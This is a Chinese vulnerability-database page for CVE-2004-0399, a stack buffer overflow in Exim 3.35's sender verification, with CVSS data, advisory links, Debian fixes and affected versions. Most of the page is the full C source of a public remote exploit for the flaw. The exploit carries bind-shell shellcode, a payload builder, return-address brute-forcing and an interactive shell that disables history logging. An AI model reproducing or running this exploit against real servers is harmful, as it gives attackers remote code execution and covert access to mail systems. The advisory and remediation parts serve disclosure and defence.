CVE-2004-0399
CVSS7.5
发布时间 :2004-07-07 00:00:00
修订时间 :2008-09-10 15:26:13
NMCOES    

[原文]Stack-based buffer overflow in Exim 3.35, and other versions before 4, when the sender_verify option is true, allows remote attackers to cause a denial of service and possibly execute arbitrary code during sender verification.


[CNNVD]Exim发送者验证远程整数缓冲区溢出漏洞(CNNVD-200407-021)

        当sender_verify选项正确时,Exim 3.35和4之前的其他版本存在基于栈的缓冲区溢出漏洞。远程攻击者导致服务拒绝和可能在验证发送者时执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:university_of_cambridge:exim:3.35
cpe:/a:university_of_cambridge:exim

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0399
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0399
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200407-021
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/16079
(VENDOR_ADVISORY)  XF  exim-requireverify-bo(16079)
http://www.guninski.com/exim1.html
(VENDOR_ADVISORY)  MISC  http://www.guninski.com/exim1.html
http://www.debian.org/security/2004/dsa-502
(VENDOR_ADVISORY)  DEBIAN  DSA-502
http://www.debian.org/security/2004/dsa-501
(VENDOR_ADVISORY)  DEBIAN  DSA-501
http://lists.grok.org.uk/pipermail/full-disclosure/2004-May/021015.html
(UNKNOWN)  FULLDISC  20040506 Buffer overflows in exim, yet still exim much better than windows
http://secunia.com/advisories/11558
(UNKNOWN)  SECUNIA  11558

- 漏洞信息

Exim发送者验证远程整数缓冲区溢出漏洞
高危 缓冲区溢出
2004-07-07 00:00:00 2005-10-20 00:00:00
远程  
        当sender_verify选项正确时,Exim 3.35和4之前的其他版本存在基于栈的缓冲区溢出漏洞。远程攻击者导致服务拒绝和可能在验证发送者时执行任意代码。

- 公告与补丁

        Debian has released advisory DSA-501-1 dealing with this and other issues. Please see the referenced web advisory for more information and details on obtaining fixes.
        Debian has released advisory DSA 502-1 dealing with this issue for their Exim-tls packages. Please see the referenced web advisory for more information and details on obtaining fixes.
        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .
        University of Cambridge Exim-tls 3.35
        
        University of Cambridge Exim 3.35
        

- 漏洞信息 (24093)

Exim Sender 3.35 Verification Remote Stack Buffer Overrun Vulnerability (EDBID:24093)
linux remote
2004-05-06 Verified
0 newroot
N/A [点击下载]
source: http://www.securityfocus.com/bid/10290/info

Exim has been reported prone to a remotely exploitable stack-based buffer overrun vulnerability. 

This is exposed if sender verification has been enabled in the agent and may be triggered by a malicious e-mail. Exploitation may permit execution of arbitrary code in the content of the mail transfer agent.

This issue is reported in exist in Exim 3.35. Earlier versions may also be affected. 

It should be noted that the vulnerable functionality is not enabled in the default install, though some Linux/Unix distributions that ship the software may enable it.

/*
 * antisec presents 
 *
 * exim 3.35 remote exploit
 * written by newroot & nopfish
 * 
 * http://www.antisec.de
 *
 * greetz to mcb, ^sq , merith 
 * and the whole antisec.de team
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>

#define CODING_STYLE "German"
#define VERSION "0.0.1 private"
#define AUTHOR  "newroot and nopfish"

#define OPT_VERBOSE	1	// 0001
#define OPT_BRUTE	2	// 0010
#define OPT_CHECK	4	// 0100

#define BUFSIZE		256
#define OVERSIZE	 44

#define PORT 25
#define HELO "HELO a\r\n"
#define FROM "MAIL FROM: "
#define RCPT "RCPT TO: postmaster@localhost\r\n"
#define DATA "DATA\r\n"
#define END  "\r\n\r\n.\r\n"
#define QUIT "QUIT\r\n"
#define ATTACK_HOST "@localho\r\n"

#define STACK_START	0xbfffffff
#define STACK_END	0xbfff0000

extern int errno;
extern int optind, opterr;
extern char *optarg;
unsigned long int opt_flags;		// options

unsigned int steps     = 15;		// steps for bruteforcing
unsigned int alignment =  0;		// alignment
unsigned int timeout   =  5;		// time between bruteforce
int nutcase	       = 35;


unsigned char shellcode[] =
// antisec bindshell 8658 / filters out illegal chars
"\x31\xc0\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b"
"\xcd\x80\x89\xc7\x52\x66\x68\x21\xd2\x43\x66\x53\x89\xe1\x52\xb2"
"\x70\x80\xea\x60\x89\xd0\x5a\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x84\x80\xeb\x80\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1"
"\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0"
"\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80";


struct targets {
	        unsigned char desc[BUFSIZE];
	        unsigned long addr;
} target[] = {
	{ "Debian 3.0 unstable(woody)",
	   0xbffff098
	},
	{ "Testing",
           0x5c5c5c5c
        },
        { 0x00, 0x00 }
};

void banner (char *);
void verbose (const char *, ...);
void fatal(char *);
void error (const char *, ...);
int ussage (char *);
void print_targets ();
int exploit (char *host, int port, struct targets target);
char *xp_create (long ret); 
void xp_destroy (char *payload); 
int xp_send (char *host, int port, char *payload);
int connect_host(char * host,int port);
void shell(int thesock);



int main (int argc, char **argv) {
	int c;
	int port;
	int target_nr;		
	unsigned long adress = 0x00;

	banner(argv[0]);

	if (argc < 2) {
		return ussage (argv[0]);
	}

	port = PORT; target_nr = -1;
	while ( (c = getopt (argc, argv, "o:n:x:a:p:t:s:bchv")) != -1 ) {
		switch (c) {
			case 'b':
				opt_flags |= OPT_BRUTE;
			break;

			case 'p':
				port = atoi(optarg);
			break;

			case 'x':
				adress  = strtoll (optarg, NULL, 16);
			break;

			case 'a':
				alignment = atoi(optarg);
			break;

			case 't':
				target_nr = atoi(optarg);
			break;

			case 'o':
				timeout = atoi(optarg);
			break;

			case 's':
				steps = atoi(optarg);
			break;

			case 'n':
				nutcase = atoi(optarg);
			break;

			case 'v':
				opt_flags |= OPT_VERBOSE;
			break;

			case 'c':
				opt_flags |= OPT_CHECK;
			break;

			case 'h':
			default:
				return ussage(argv[0]);
			break;
		}
	}

	if (target_nr == 0) {
		print_targets ();
		return EXIT_SUCCESS;
	} else if (target_nr == -1) {
		target_nr = 1;
	}
	if (adress != 0x00) {
		target[target_nr-1].addr = adress;
	}

	exploit (argv[argc-1], port, target[target_nr-1]);

	return EXIT_SUCCESS;
}

void banner (char *args) {
	char line[BUFSIZ+1];
	int i, j;

	memset ((void *)line, 0x00, BUFSIZ);
	if (args[0] == '.' && args[1] == '/') {
		snprintf (line, BUFSIZ, "%s - v%s / written by %s", (args+2), VERSION, AUTHOR);
	} else {
		snprintf (line, BUFSIZ, "%s - v%s / written by %s", args, VERSION, AUTHOR);
	}
	fprintf (stderr, "\nwww.antisec.de gives you:\n");
	fprintf (stderr, "%s a remote exim 3.35 exploit\n\n", args+2);
	fprintf(stderr, "%s\n", line);
	j = strlen (line);
	memset (line, 0x00, BUFSIZ);
	for (i=0; i< j && i < BUFSIZ; i++) {
		line[i] = '~';
	}
	fprintf(stderr, "%s\n", line);

}

void verbose(const char *fmt, ...) {
	va_list args;
	 if (opt_flags & OPT_VERBOSE) { 
		 va_start(args, fmt);
		 vfprintf(stderr, fmt, args);
		 va_end(args);
	 }
}

void fatal(char *msg) {
	perror (msg);
	exit(EXIT_FAILURE);
}

void error (const char *fmt, ...) {
	va_list args;
	 if (opt_flags & OPT_VERBOSE) { 
		 va_start(args, fmt);
		 vfprintf(stderr, fmt, args);
		 va_end(args);
	 }
	exit(EXIT_FAILURE);
}

int ussage (char *args) {
	fprintf (stderr, "Ussage %s [options] <target host>\n", args);
	fprintf (stderr, "\t-t <num>\t target (0 for listing)\n");
	fprintf (stderr, "\t-x <address>\t give your own adress in hex (0xbffffc03)\n");
	fprintf (stderr, "\t-o <timeout>\t time between bruteforce attempts (default 5)\n");
	fprintf (stderr, "\t-s <steps>\t steps for bruteforce (default 15)\n");
	fprintf (stderr, "\t-p <port>\t use an other port then 25\n");
	fprintf (stderr, "\t-n <nutcase>\t default is 35\n");
	fprintf (stderr, "\t-a <align>\t alignment\n");
	fprintf (stderr, "\t-b\t\t bruteforce mode\n");
	fprintf (stderr, "\t-c\t\t check if target is vulnable\n");
	//fprintf (stderr, "\t-v\t\t\t verbose output\n");
	fprintf (stderr, "\t-h\t\t this help :)\n");
	return EXIT_FAILURE;
}

void print_targets () {
        int i;

        fprintf (stdout, "Supported targets:\n");
        for (i=0; target[i].addr != 0; i++) {
                fprintf (stdout, "\t%i) - %s\n", i+1,  target[i].desc);
        }
}


int exploit (char *host, int port, struct targets target) {
	char *payload;
	int thesock;
	long ret;

	if (opt_flags & OPT_BRUTE) {
		for (ret = STACK_START; ret > STACK_END; ret-=steps) {
			fprintf (stdout, "[+] Trying %#x\n", ret);
			payload = xp_create (target.addr);
			xp_send (host, port, payload);
			sleep(timeout);
			thesock = connect_host (host, 8658);
			if (thesock == -1) {
				fprintf (stdout, "[-] Exploit failed!\n");
				xp_destroy (payload);
			} else {
				fprintf (stdout, "[+] Exploit success!\n");
				fprintf (stdout, "[+] Waiting for shell\n");
				shell (thesock);
				break;
			}
		}
	} else {
		if (opt_flags & OPT_CHECK) {
			fprintf (stdout, "[+] Checking for vulnability\n");
		} else {
			fprintf (stdout, "[+] Trying %#x\n", target.addr);
		}

		payload = xp_create (target.addr);
		xp_send (host, port, payload);
		sleep(2);
		thesock = connect_host (host, 8658);
		if (thesock == -1) {
			fprintf (stdout, "[-] Exploit failed!\n");
			xp_destroy (payload);
			return EXIT_FAILURE;
		} else {
			fprintf (stdout, "[+] Exploit success!\n");
			fprintf (stdout, "[+] Waiting for shell\n");
			sleep(1);
			shell (thesock);
		}
	}
	return 0;
}

char * xp_create (long ret) {
	unsigned char *payload;
	long *longptr;
	int i;
	
	payload = NULL;
	payload = (unsigned char *) malloc (BUFSIZE+OVERSIZE+strlen(ATTACK_HOST)+1);
	if (payload == NULL) {
		fprintf (stderr, "[-] Can't allocate enugh memory!\n");
		exit (EXIT_FAILURE);
	}

	memset (payload, 0x00, BUFSIZE+OVERSIZE+strlen(ATTACK_HOST));
	if (OPT_CHECK & opt_flags) {
		memset (payload, 0x41, BUFSIZE+OVERSIZE);
	} else {
		memset (payload, 0x90, BUFSIZE+OVERSIZE);
		memcpy (payload+BUFSIZE-strlen(shellcode)-nutcase, shellcode, strlen(shellcode)); 
		(unsigned char *)longptr = payload+BUFSIZE;
		for (i=0+alignment; i < OVERSIZE; i+=4) {
			*(longptr++) = ret;
		}
	}
	memcpy (payload+BUFSIZE+OVERSIZE, ATTACK_HOST, strlen (ATTACK_HOST));
	
	return payload;
}

int xp_send (char *host, int port, char *payload) {
	int thesock;
	char buffer[BUFSIZ];
	struct timeval tv;
	fd_set rfds, wfds;
	int ret;
	
	thesock = connect_host (host, port);
	if (thesock == -1) {
		fprintf (stderr, "[-] Can't connect to target %s\n", host);
		exit (EXIT_FAILURE);
	} else {
		fprintf (stdout, "[+] Connected.\n");
	}

	memset (buffer, 0x00, BUFSIZ);
#ifdef DEBUG
	sleep(4);
#endif

	// reading banner
	//fprintf (stderr, "reading banner...\n");
	memset (buffer, 0x00, BUFSIZ);
	ret = recv (thesock, buffer, sizeof (buffer), 0);
	//fprintf (stdout, "%s\n", buffer);

	//sending helo
	//fprintf (stderr, "sending HELO...\n");
	memset (buffer, 0x00, BUFSIZ);
        ret = send (thesock, HELO, strlen(HELO), 0);
        ret = recv (thesock, buffer, sizeof (buffer), 0);
	//fprintf (stdout, "%s\n", buffer);
	
	// sending mail from:
	//fprintf (stderr, "sending MAIL FROM:...\n");
	memset (buffer, 0x00, BUFSIZ);
	ret = send (thesock, FROM, strlen (FROM), 0);
        ret = send (thesock, payload, strlen (payload), 0);
        ret = recv (thesock, buffer, sizeof (buffer), 0);
	//fprintf (stdout, "%s\n", buffer);


	// sending rcpt to:
	//fprintf (stderr, "sending RCPT TO:...\n");
	memset (buffer, 0x00, BUFSIZ);
	ret = send (thesock, RCPT, strlen (RCPT), 0);
        ret = recv (thesock, buffer, sizeof (buffer), 0);
	//fprintf (stdout, "%s\n", buffer);

	FD_ZERO(&rfds);
	FD_SET(thesock, &rfds);
	tv.tv_sec = 7;
	tv.tv_usec = 0;

	// data
	//fprintf (stderr, "sending DATA:...\n");
	memset (buffer, 0x00, BUFSIZ);
	ret = send (thesock, DATA, strlen (DATA), 0);
	select (thesock+1, &rfds, NULL, NULL, &tv);
	if (FD_ISSET(thesock, &rfds)) {
        	ret = recv (thesock, buffer, sizeof (buffer), 0);
		//fprintf (stdout, "%s\n", buffer);
	} else {
		close (thesock);
		return -1;
	}
	
	FD_ZERO(&rfds);
	FD_SET(thesock, &rfds);
	tv.tv_sec = 7;
	tv.tv_usec = 0;

	// end things
	//fprintf (stderr, "sending END THINGS:...\n");
	memset (buffer, 0x00, BUFSIZ);
	ret = send (thesock, END, strlen (END), 0);
	select (thesock+1, &rfds, NULL, NULL, &tv);
	if (!FD_ISSET(thesock, &rfds)) {
		fprintf (stdout, "[+] Offset seems good ! if the next hit fails\n");
		fprintf (stdout, "[+] try to decrement THIS adddress by 5 or 10!\n");
		close (thesock);
		return -1;
	}
        ret = recv (thesock, buffer, sizeof (buffer), 0);
	if (opt_flags & OPT_CHECK) {
		if (buffer[0] == 0x00) {
			fprintf (stdout, "[+] Host seams vulnable!\n");
		} else {
			fprintf (stdout, "[-] Host is not vulnable!\n");
		}
		close (thesock);
		exit (EXIT_SUCCESS);
	}
	//fprintf (stdout, "%s\n", buffer);
        ret = send (thesock, QUIT, strlen (QUIT), 0);

	close (thesock);
	return ret;
}

void  xp_destroy (char *payload) {
	free (payload);
}

int connect_host(char * host,int port)
{
        struct sockaddr_in addr;
        struct hostent *he;
	int ret;
        int sock;

        he=gethostbyname(host);

        if (he==NULL) return -1;
        sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock==-1) return -1;

        memcpy(&addr.sin_addr, he->h_addr, he->h_length);

        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);

	ret = connect(sock, (struct sockaddr *)&addr, sizeof(addr));

        if(ret == 0 ) {
                return sock;
	} else {
		return -1;
	}

	return -1;
}

void shell(int thesock)         
{                       
        int n;
        fd_set  fds;            
        char buff[1024], *cmd="unset HISTFILE; export HISTFILE=/dev/zero;"
			      "export TERM=vt100;/bin/uname -a;/usr/bin/id;\n";
                        
        FD_ZERO(&fds);  
        FD_SET(thesock, &fds);
        FD_SET(0, &fds);

        send(thesock, cmd, strlen(cmd), 0);
        while(1) {
                FD_SET(thesock,&fds);
                FD_SET(0,&fds);
                        
                if(select(thesock+1,&fds, NULL, NULL, NULL)<0)
                        break;
                if( FD_ISSET(thesock, &fds) ) {
                        if(!(n=recv(thesock,buff,sizeof(buff),0))) {
                                exit(EXIT_FAILURE);
                        }
                        if (!write (1, buff, n))
                                break;
                }

                if ( FD_ISSET(0, &fds) ) {
                        n = read (0, buff, sizeof(buff));
                        if(n <= 0){
                                fprintf(stderr,"EOF\n");
                                exit(EXIT_FAILURE);
                        }
                        if(send(thesock,buff,n,0)<0) break;
                }
        }
        fprintf(stderr,"done.\n");
        exit(EXIT_SUCCESS);
}

		

- 漏洞信息

5896
Exim sender_verify Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Exim. The issue is due to a boundary error within the verification of sender addresses resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of confidentiality and integrity.

- 时间线

2004-05-06 Unknow
2004-05-06 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: Make sure you don't have the following option in the exim configuration file: sender_verify = true

- 相关参考

- 漏洞作者

- 漏洞信息

Exim Sender Verification Remote Stack Buffer Overrun Vulnerability
Boundary Condition Error 10290
Yes No
2004-05-06 12:00:00 2009-07-12 04:07:00
Discovery is credited to Georgi Guninski.

- 受影响的程序版本

University of Cambridge Exim-tls 3.35
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
University of Cambridge Exim 3.35
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0

- 漏洞讨论

Exim has been reported prone to a remotely exploitable stack-based buffer overrun vulnerability.

This is exposed if sender verification has been enabled in the agent and may be triggered by a malicious e-mail. Exploitation may permit execution of arbitrary code in the content of the mail transfer agent.

This issue is reported in exist in Exim 3.35. Earlier versions may also be affected.

It should be noted that the vulnerable functionality is not enabled in the default install, though some Linux/Unix distributions that ship the software may enable it.

- 漏洞利用

Proof-of-concept code that triggers a denial of service is available at the following location:
http://www.guninski.com/exim1.html

CORE has developed a working commercial exploit for their IMPACT
product. This exploit is not otherwise publicly available or known
to be circulating in the wild.

An exploit (maxim.c) is available by newroot &amp; nopfish:

- 解决方案

Debian has released advisory DSA-501-1 dealing with this and other issues. Please see the referenced web advisory for more information and details on obtaining fixes.

Debian has released advisory DSA 502-1 dealing with this issue for their Exim-tls packages. Please see the referenced web advisory for more information and details on obtaining fixes.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.


University of Cambridge Exim-tls 3.35

University of Cambridge Exim 3.35

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站